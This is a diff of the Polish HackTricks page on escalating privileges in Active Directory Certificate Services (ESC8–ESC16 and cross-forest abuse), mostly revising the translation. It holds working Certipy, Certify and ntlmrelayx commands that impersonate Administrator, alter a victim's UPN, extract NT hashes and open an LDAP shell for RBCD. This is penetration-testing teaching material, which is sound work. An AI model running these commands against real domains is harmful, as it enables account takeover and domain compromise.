SERVER\\CA-NAME --id 1337 +``` + +4. Ostateczny certyfikat zawiera teraz złośliwy OID polityki wydawania i może być użyty w kolejnych atakach (np. ESC13, eskalacja domeny itp.). + +> UWAGA: Ten sam atak można wykonać z Certipy ≥ 4.7 za pomocą polecenia `ca` i parametru `-set-extension`. + ## NTLM Relay do punktów końcowych AD CS HTTP – ESC8 ### Wyjaśnienie > [!TIP] -> W środowiskach, w których **zainstalowano AD CS**, jeśli istnieje **punkt końcowy rejestracji w sieci** podatny na ataki i przynajmniej jeden **szablon certyfikatu jest opublikowany**, który pozwala na **rejestrację komputerów w domenie i uwierzytelnianie klientów** (takich jak domyślny **`Machine`**), możliwe jest, aby **jakikolwiek komputer z aktywną usługą spoolera został skompromitowany przez atakującego**! +> W środowiskach, w których **AD CS jest zainstalowane**, jeśli istnieje **punkt końcowy rejestracji internetowej podatny** i przynajmniej jeden **szablon certyfikatu jest opublikowany**, który zezwala na **rejestrację komputerów domenowych i uwierzytelnianie klientów** (takich jak domyślny **szablon `Machine`**), możliwe jest, aby **jakikolwiek komputer z aktywną usługą spoolera został skompromitowany przez atakującego**! -Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które administratorzy mogą zainstalować. Te interfejsy do rejestracji certyfikatów opartych na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, te interfejsy internetowe mogą być używane przez atakującego do **żądania certyfikatu uwierzytelniającego klienta przy użyciu szablonów certyfikatów `User` lub `Machine`**. +Kilka **metod rejestracji opartych na HTTP** jest obsługiwanych przez AD CS, udostępnionych przez dodatkowe role serwera, które administratorzy mogą zainstalować. Te interfejsy do rejestracji certyfikatów opartej na HTTP są podatne na **ataki NTLM relay**. Atakujący, z **skomprymowanej maszyny, może podszyć się pod dowolne konto AD, które uwierzytelnia się za pomocą przychodzącego NTLM**. Podszywając się pod konto ofiary, te interfejsy internetowe mogą być dostępne przez atakującego, aby **zażądać certyfikatu uwierzytelniania klienta za pomocą szablonów certyfikatów `User` lub `Machine`**. -- **Interfejs rejestracji w sieci** (starsza aplikacja ASP dostępna pod adresem `http:///certsrv/`), domyślnie obsługuje tylko HTTP, co nie oferuje ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM przez nagłówek HTTP Authorization, co sprawia, że bardziej bezpieczne metody uwierzytelniania, takie jak Kerberos, są nieodpowiednie. -- **Usługa rejestracji certyfikatów** (CES), **Polityka rejestracji certyfikatów** (CEP) Web Service oraz **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negotiate przez nagłówek HTTP Authorization. Uwierzytelnianie negotiate **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie poziomu do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie umożliwiają HTTPS, HTTPS sam w sobie **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane do wiązania kanałów. +- **Interfejs rejestracji internetowej** (starsza aplikacja ASP dostępna pod `http:///certsrv/`), domyślnie obsługuje tylko HTTP, co nie oferuje ochrony przed atakami NTLM relay. Dodatkowo, wyraźnie zezwala tylko na uwierzytelnianie NTLM przez swój nagłówek HTTP Authorization, co sprawia, że bardziej bezpieczne metody uwierzytelniania, takie jak Kerberos, są nieodpowiednie. +- **Usługa rejestracji certyfikatów** (CES), **Usługa polityki rejestracji certyfikatów** (CEP) i **Usługa rejestracji urządzeń sieciowych** (NDES) domyślnie obsługują uwierzytelnianie negocjacyjne przez swój nagłówek HTTP Authorization. Uwierzytelnianie negocjacyjne **obsługuje zarówno** Kerberos, jak i **NTLM**, co pozwala atakującemu na **obniżenie do uwierzytelniania NTLM** podczas ataków relay. Chociaż te usługi internetowe domyślnie włączają HTTPS, HTTPS sam w sobie **nie chroni przed atakami NTLM relay**. Ochrona przed atakami NTLM relay dla usług HTTPS jest możliwa tylko wtedy, gdy HTTPS jest połączone z wiązaniem kanałów. Niestety, AD CS nie aktywuje Rozszerzonej Ochrony dla Uwierzytelniania na IIS, co jest wymagane dla wiązania kanałów. Powszechnym **problemem** z atakami NTLM relay jest **krótki czas trwania sesji NTLM** oraz niemożność atakującego do interakcji z usługami, które **wymagają podpisywania NTLM**. -Niemniej jednak, to ograniczenie jest przezwyciężane przez wykorzystanie ataku NTLM relay do uzyskania certyfikatu dla użytkownika, ponieważ okres ważności certyfikatu określa czas trwania sesji, a certyfikat może być używany z usługami, które **wymagają podpisywania NTLM**. Aby uzyskać instrukcje dotyczące wykorzystania skradzionego certyfikatu, zapoznaj się z: +Niemniej jednak, to ograniczenie jest przezwyciężane przez wykorzystanie ataku NTLM relay do uzyskania certyfikatu dla użytkownika, ponieważ okres ważności certyfikatu dyktuje czas trwania sesji, a certyfikat może być używany z usługami, które **wymagają podpisywania NTLM**. Aby uzyskać instrukcje dotyczące wykorzystania skradzionego certyfikatu, zapoznaj się z: {{#ref}} account-persistence.md @@ -352,7 +392,7 @@ Certify.exe cas ```
-Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne urzędy certyfikacji (CAs) do przechowywania punktów końcowych usługi rejestracji certyfikatów (CES). Punkty te można analizować i wyświetlać za pomocą narzędzia **Certutil.exe**: +Właściwość `msPKI-Enrollment-Servers` jest używana przez korporacyjne Urzędy Certyfikacji (CAs) do przechowywania punktów końcowych usługi rejestracji certyfikatów (CES). Punkty te można analizować i wyświetlać za pomocą narzędzia **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -399,7 +439,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ### Explanation -Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, określana jako ESC9, zapobiega osadzaniu **nowego `szOID_NTDS_CA_SECURITY_EXT` rozszerzenia zabezpieczeń** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (domyślne ustawienie), co kontrastuje z ustawieniem `2`. Jej znaczenie wzrasta w scenariuszach, w których słabsze mapowanie certyfikatów dla Kerberos lub Schannel może być wykorzystane (jak w ESC10), biorąc pod uwagę, że brak ESC9 nie zmieniłby wymagań. +Nowa wartość **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) dla **`msPKI-Enrollment-Flag`**, określana jako ESC9, zapobiega osadzaniu **nowego rozszerzenia bezpieczeństwa `szOID_NTDS_CA_SECURITY_EXT`** w certyfikacie. Flaga ta staje się istotna, gdy `StrongCertificateBindingEnforcement` jest ustawione na `1` (domyślne ustawienie), co kontrastuje z ustawieniem `2`. Jej znaczenie wzrasta w scenariuszach, w których słabsze mapowanie certyfikatów dla Kerberos lub Schannel może być wykorzystane (jak w ESC10), biorąc pod uwagę, że brak ESC9 nie zmieniłby wymagań. Warunki, w których ustawienie tej flagi staje się istotne, obejmują: @@ -422,7 +462,7 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane ``` Ta modyfikacja nie narusza ograniczeń, ponieważ `Administrator@corp.local` pozostaje odrębny jako `userPrincipalName` `Administratora`. -W związku z tym, szablon certyfikatu `ESC9`, oznaczony jako podatny, jest żądany jako `Jane`: +Po tym, żądany jest szablon certyfikatu `ESC9`, oznaczony jako podatny, jako `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` @@ -471,11 +511,11 @@ Następnie żądany jest certyfikat umożliwiający uwierzytelnianie klienta jak ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`userPrincipalName` `Jane`'a jest następnie przywracany do pierwotnej wartości, `Jane@corp.local`. +`Jane`'s `userPrincipalName` jest następnie przywracany do pierwotnej wartości, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Uwierzytelnienie za pomocą uzyskanego certyfikatu przyniesie NT hash `Administrator@corp.local`, co wymaga określenia domeny w poleceniu z powodu braku szczegółów domeny w certyfikacie. +Uwierzytelnienie za pomocą uzyskanego certyfikatu da NT hash `Administrator@corp.local`, co wymaga określenia domeny w poleceniu z powodu braku szczegółów domeny w certyfikacie. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` @@ -495,7 +535,7 @@ Certyfikat do uwierzytelniania klienta jest żądany jako `Jane` przy użyciu do ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`userPrincipalName` `Jane`'a jest przywracany do pierwotnej wartości po tym procesie. +`Jane`'s `userPrincipalName` jest przywracany do pierwotnej wartości po tym procesie. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` @@ -503,7 +543,7 @@ Aby uwierzytelnić się za pomocą Schannel, używana jest opcja `-ldap-shell` C ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Poprzez powłokę LDAP, polecenia takie jak `set_rbcd` umożliwiają ataki oparte na ograniczonej delegacji zasobów (RBCD), co może zagrozić kontrolerowi domeny. +Poprzez powłokę LDAP, polecenia takie jak `set_rbcd` umożliwiają ataki oparte na delegacji ograniczonej zasobami (RBCD), co może zagrozić kontrolerowi domeny. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` @@ -565,11 +605,11 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s Administratorzy mogą skonfigurować Urząd Certyfikacji, aby przechowywał go na zewnętrznym urządzeniu, takim jak "Yubico YubiHSM2". -Jeśli urządzenie USB jest podłączone do serwera CA przez port USB, lub serwera urządzenia USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniający (czasami nazywany "hasłem"), aby dostawca przechowywania kluczy mógł generować i wykorzystywać klucze w YubiHSM. +Jeśli urządzenie USB jest podłączone do serwera CA przez port USB, lub serwer urządzenia USB w przypadku, gdy serwer CA jest maszyną wirtualną, wymagany jest klucz uwierzytelniający (czasami nazywany "hasłem"), aby dostawca przechowywania kluczy mógł generować i wykorzystywać klucze w YubiHSM. Ten klucz/hasło jest przechowywane w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` w postaci niezaszyfrowanej. -Referencja [tutaj](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Referencja w [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Abuse Scenario @@ -617,7 +657,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Scenariusz nadużycia -Znajdź uprawnienia użytkownika, które można wykorzystać za pomocą `certipy find` lub `Certify.exe find /showAllPermissions`. +Znajdź uprawnienia użytkownika, które można wykorzystać `certipy find` lub `Certify.exe find /showAllPermissions`. Jeśli `John` ma uprawnienia do rejestracji `VulnerableTemplate`, użytkownik może dziedziczyć uprawnienia grupy `VulnerableGroup`. @@ -638,18 +678,18 @@ ESC14 dotyczy luk wynikających z "słabego jawnego mapowania certyfikatów", g Przykłady potencjalnie słabych ciągów mapowania `altSecurityIdentities` obejmują: - Mapowanie wyłącznie na podstawie wspólnej nazwy podmiotu (CN): np. `X509:CN=SomeUser`. Atakujący może być w stanie uzyskać certyfikat z tym CN z mniej bezpiecznego źródła. -- Używanie zbyt ogólnych nazw wyróżniających wydawcy (DN) lub DN podmiotu bez dalszej kwalifikacji, takiej jak konkretny numer seryjny lub identyfikator klucza podmiotu: np. `X509:CN=SomeInternalCACN=GenericUser`. +- Używanie zbyt ogólnych nazw wyróżniających wystawcy (DN) lub DN podmiotu bez dalszej kwalifikacji, takiej jak konkretny numer seryjny lub identyfikator klucza podmiotu: np. `X509:CN=SomeInternalCACN=GenericUser`. - Stosowanie innych przewidywalnych wzorców lub identyfikatorów niekryptograficznych, które atakujący może być w stanie spełnić w certyfikacie, który może legalnie uzyskać lub sfałszować (jeśli skompromitował CA lub znalazł podatny szablon, jak w ESC1). Atrybut `altSecurityIdentities` obsługuje różne formaty mapowania, takie jak: -- `X509:IssuerDNSubjectDN` (mapuje według pełnego DN wydawcy i podmiotu) +- `X509:IssuerDNSubjectDN` (mapuje według pełnego DN wystawcy i podmiotu) - `X509:SubjectKeyIdentifier` (mapuje według wartości rozszerzenia identyfikatora klucza podmiotu certyfikatu) -- `X509:SerialNumberBackedByIssuerDN` (mapuje według numeru seryjnego, implicitnie kwalifikowanego przez DN wydawcy) - to nie jest standardowy format, zazwyczaj to `IssuerDNSerialNumber`. +- `X509:SerialNumberBackedByIssuerDN` (mapuje według numeru seryjnego, implicitnie kwalifikowanego przez DN wystawcy) - to nie jest standardowy format, zazwyczaj to `IssuerDNSerialNumber`. - `X509:EmailAddress` (mapuje według nazwy RFC822, zazwyczaj adresu e-mail, z SAN) - `X509:Thumbprint-of-Raw-PublicKey` (mapuje według hasha SHA1 surowego klucza publicznego certyfikatu - zazwyczaj silne) -Bezpieczeństwo tych mapowań w dużej mierze zależy od specyficzności, unikalności i kryptograficznej siły wybranych identyfikatorów certyfikatów użytych w ciągu mapowania. Nawet przy włączonych silnych trybach powiązania certyfikatów na kontrolerach domeny (które głównie wpływają na implicitne mapowania oparte na SAN UPN/DNS i rozszerzeniu SID), źle skonfigurowany wpis `altSecurityIdentities` może nadal stanowić bezpośrednią drogę do podszywania się, jeśli sama logika mapowania jest wadliwa lub zbyt liberalna. +Bezpieczeństwo tych mapowań w dużej mierze zależy od specyficzności, unikalności i siły kryptograficznej wybranych identyfikatorów certyfikatów użytych w ciągu mapowania. Nawet przy włączonych silnych trybach powiązania certyfikatów na kontrolerach domeny (które głównie wpływają na implicitne mapowania oparte na SAN UPN/DNS i rozszerzeniu SID), źle skonfigurowany wpis `altSecurityIdentities` może nadal stanowić bezpośrednią drogę do podszywania się, jeśli sama logika mapowania jest wadliwa lub zbyt liberalna. ### Scenariusz nadużycia @@ -657,7 +697,7 @@ ESC14 celuje w **jawne mapowania certyfikatów** w Active Directory (AD), szczeg #### Scenariusz A: Atakujący może pisać do `altSecurityIdentities` -**Warunek wstępny**: Atakujący ma uprawnienia do zapisu w atrybucie `altSecurityIdentities` docelowego konta lub uprawnienia do przyznania go w formie jednego z następujących uprawnień na docelowym obiekcie AD: +**Warunek wstępny**: Atakujący ma uprawnienia do zapisu w atrybucie `altSecurityIdentities` docelowego konta lub uprawnienia do nadania go w formie jednego z następujących uprawnień na docelowym obiekcie AD: - Zapisz właściwość `altSecurityIdentities` - Zapisz właściwość `Public-Information` - Zapisz właściwość (wszystkie) @@ -667,17 +707,17 @@ ESC14 celuje w **jawne mapowania certyfikatów** w Active Directory (AD), szczeg - `GenericAll` - Właściciel*. -#### Scenariusz B: Cel ma słabe mapowanie przez X509RFC822 (E-mail) +#### Scenariusz B: Cel ma słabe mapowanie przez X509RFC822 (Email) -- **Warunek wstępny**: Cel ma słabe mapowanie X509RFC822 w `altSecurityIdentities`. Atakujący może ustawić atrybut mailowy ofiary, aby pasował do nazwy X509RFC822 celu, zarejestrować certyfikat jako ofiara i użyć go do uwierzytelnienia się jako cel. +- **Warunek wstępny**: Cel ma słabe mapowanie X509RFC822 w altSecurityIdentities. Atakujący może ustawić atrybut mailowy ofiary, aby pasował do nazwy X509RFC822 celu, zarejestrować certyfikat jako ofiara i użyć go do uwierzytelnienia się jako cel. #### Scenariusz C: Cel ma mapowanie X509IssuerSubject -- **Warunek wstępny**: Cel ma słabe jawne mapowanie X509IssuerSubject w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na głównym obiekcie ofiary, aby pasował do podmiotu mapowania X509IssuerSubject celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. +- **Warunek wstępny**: Cel ma słabe jawne mapowanie X509IssuerSubject w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na obiekcie ofiary, aby pasował do podmiotu mapowania X509IssuerSubject celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. #### Scenariusz D: Cel ma mapowanie X509SubjectOnly -- **Warunek wstępny**: Cel ma słabe jawne mapowanie X509SubjectOnly w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na głównym obiekcie ofiary, aby pasował do podmiotu mapowania X509SubjectOnly celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. +- **Warunek wstępny**: Cel ma słabe jawne mapowanie X509SubjectOnly w `altSecurityIdentities`. Atakujący może ustawić atrybut `cn` lub `dNSHostName` na obiekcie ofiary, aby pasował do podmiotu mapowania X509SubjectOnly celu. Następnie atakujący może zarejestrować certyfikat jako ofiara i użyć tego certyfikatu do uwierzytelnienia się jako cel. ### konkretne operacje #### Scenariusz A @@ -706,7 +746,7 @@ Dla bardziej specyficznych metod ataku w różnych scenariuszach ataku, proszę Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc jest niezwykle szczegółowy. Poniżej znajduje się cytat z oryginalnego tekstu. -Korzystając z wbudowanych domyślnych szablonów certyfikatów wersji 1, atakujący może stworzyć CSR, aby uwzględnić polityki aplikacji, które są preferowane w stosunku do skonfigurowanych atrybutów Extended Key Usage określonych w szablonie. Jedynym wymaganiem są prawa do rejestracji, a może być używane do generowania certyfikatów uwierzytelniania klienta, agenta żądania certyfikatu oraz certyfikatów podpisywania kodu przy użyciu szablonu **_WebServer_**. +Korzystając z wbudowanych domyślnych szablonów certyfikatów wersji 1, atakujący może stworzyć CSR, aby uwzględnić polityki aplikacji, które są preferowane w stosunku do skonfigurowanych atrybutów Extended Key Usage określonych w szablonie. Jedynym wymaganiem są prawa do rejestracji, a może być użyty do generowania certyfikatów uwierzytelniania klienta, agenta żądania certyfikatu oraz certyfikatów podpisywania kodu przy użyciu szablonu **_WebServer_**. ### Nadużycie @@ -727,9 +767,9 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Wrażliwy szablon V1 z "Dostawca dostarcza temat". +- `-template 'WebServer'`: Wrażliwy szablon V1 z "Dostawca podmiotu". - `-application-policies 'Client Authentication'`: Wstrzykuje OID `1.3.6.1.5.5.7.3.2` do rozszerzenia Polityki Aplikacji CSR. -- `-upn 'administrator@corp.local'`: Ustawia UPN w SAN dla impersonacji. +- `-upn 'administrator@corp.local'`: Ustawia UPN w SAN dla podszywania się. **Krok 2: Uwierzytelnij się za pomocą Schannel (LDAPS) przy użyciu uzyskanego certyfikatu.** ```bash @@ -759,23 +799,23 @@ certipy req \ ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## Wyłączenie rozszerzenia zabezpieczeń na CA (globalnie)-ESC16 -### Explanation +### Wyjaśnienie **ESC16 (Podniesienie uprawnień poprzez brak rozszerzenia szOID_NTDS_CA_SECURITY_EXT)** odnosi się do scenariusza, w którym, jeśli konfiguracja AD CS nie wymusza włączenia rozszerzenia **szOID_NTDS_CA_SECURITY_EXT** we wszystkich certyfikatach, atakujący może to wykorzystać poprzez: 1. Żądanie certyfikatu **bez powiązania SID**. -2. Użycie tego certyfikatu **do uwierzytelnienia jako dowolne konto**, na przykład podszywając się pod konto o wysokich uprawnieniach (np. Administratora Domeny). +2. Użycie tego certyfikatu **do uwierzytelnienia jako dowolne konto**, na przykład podszywając się pod konto o wysokich uprawnieniach (np. Administratora domeny). -Możesz również zapoznać się z tym artykułem, aby dowiedzieć się więcej o szczegółowej zasadzie: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Możesz również odwołać się do tego artykułu, aby dowiedzieć się więcej o szczegółowej zasadzie: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 -### Abuse +### Nadużycie Poniższe odnosi się do [tego linku](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), kliknij, aby zobaczyć bardziej szczegółowe metody użycia. -Aby zidentyfikować, czy środowisko Active Directory Certificate Services (AD CS) jest podatne na **ESC16** +Aby zidentyfikować, czy środowisko Usług Certyfikatów Active Directory (AD CS) jest podatne na **ESC16** ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` @@ -828,13 +868,18 @@ certipy auth \ ### Łamanie Zaufania Lasów przez Kompromitowane CA -Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA głównego** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA przedsiębiorstwa** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skompromentowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu. +Konfiguracja dla **cross-forest enrollment** jest stosunkowo prosta. **Certyfikat CA głównego** z lasu zasobów jest **publikowany do lasów kontowych** przez administratorów, a **certyfikaty CA przedsiębiorstwa** z lasu zasobów są **dodawane do kontenerów `NTAuthCertificates` i AIA w każdym lesie kontowym**. Aby wyjaśnić, to ustawienie przyznaje **CA w lesie zasobów pełną kontrolę** nad wszystkimi innymi lasami, dla których zarządza PKI. Jeśli to CA zostanie **skomprymowane przez atakujących**, certyfikaty dla wszystkich użytkowników w obu lasach, zasobów i kontowych, mogą być **fałszowane przez nich**, łamiąc w ten sposób granicę bezpieczeństwa lasu. ### Uprawnienia do Rejestracji Przyznane Obcym Podmiotom -W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA przedsiębiorstwa, które **publikują szablony certyfikatów**, które pozwalają **Użytkownikom Uwierzytelnionym lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA przedsiębiorstwa) na **prawa rejestracji i edycji**.\ -Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Tak więc, jeśli domena posiada CA przedsiębiorstwa z szablonem, który **pozwala Użytkownikom Uwierzytelnionym na prawa rejestracji**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzy to relację kontroli dostępu między lasami**, umożliwiając podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**. +W środowiskach wielolasowych należy zachować ostrożność w odniesieniu do CA przedsiębiorstwa, które **publikują szablony certyfikatów**, które pozwalają **Użytkownikom Uwierzytelnionym lub obcym podmiotom** (użytkownikom/grupom zewnętrznym do lasu, do którego należy CA przedsiębiorstwa) **na rejestrację i prawa do edycji**.\ +Po uwierzytelnieniu w ramach zaufania, **SID Użytkowników Uwierzytelnionych** jest dodawany do tokena użytkownika przez AD. Zatem, jeśli domena posiada CA przedsiębiorstwa z szablonem, który **pozwala Użytkownikom Uwierzytelnionym na prawa rejestracji**, szablon może potencjalnie być **zarejestrowany przez użytkownika z innego lasu**. Podobnie, jeśli **prawa rejestracji są wyraźnie przyznawane obcemu podmiotowi przez szablon**, **tworzona jest w ten sposób relacja kontroli dostępu między lasami**, umożliwiająca podmiotowi z jednego lasu **rejestrację w szablonie z innego lasu**. Oba scenariusze prowadzą do **zwiększenia powierzchni ataku** z jednego lasu do drugiego. Ustawienia szablonu certyfikatu mogą być wykorzystane przez atakującego do uzyskania dodatkowych uprawnień w obcej domenie. + +## Odniesienia + +- [Certify 2.0 – Blog SpecterOps](https://specterops.io/blog/2025/08/11/certify-2-0/) + {{#include ../../../banners/hacktricks-training.md}}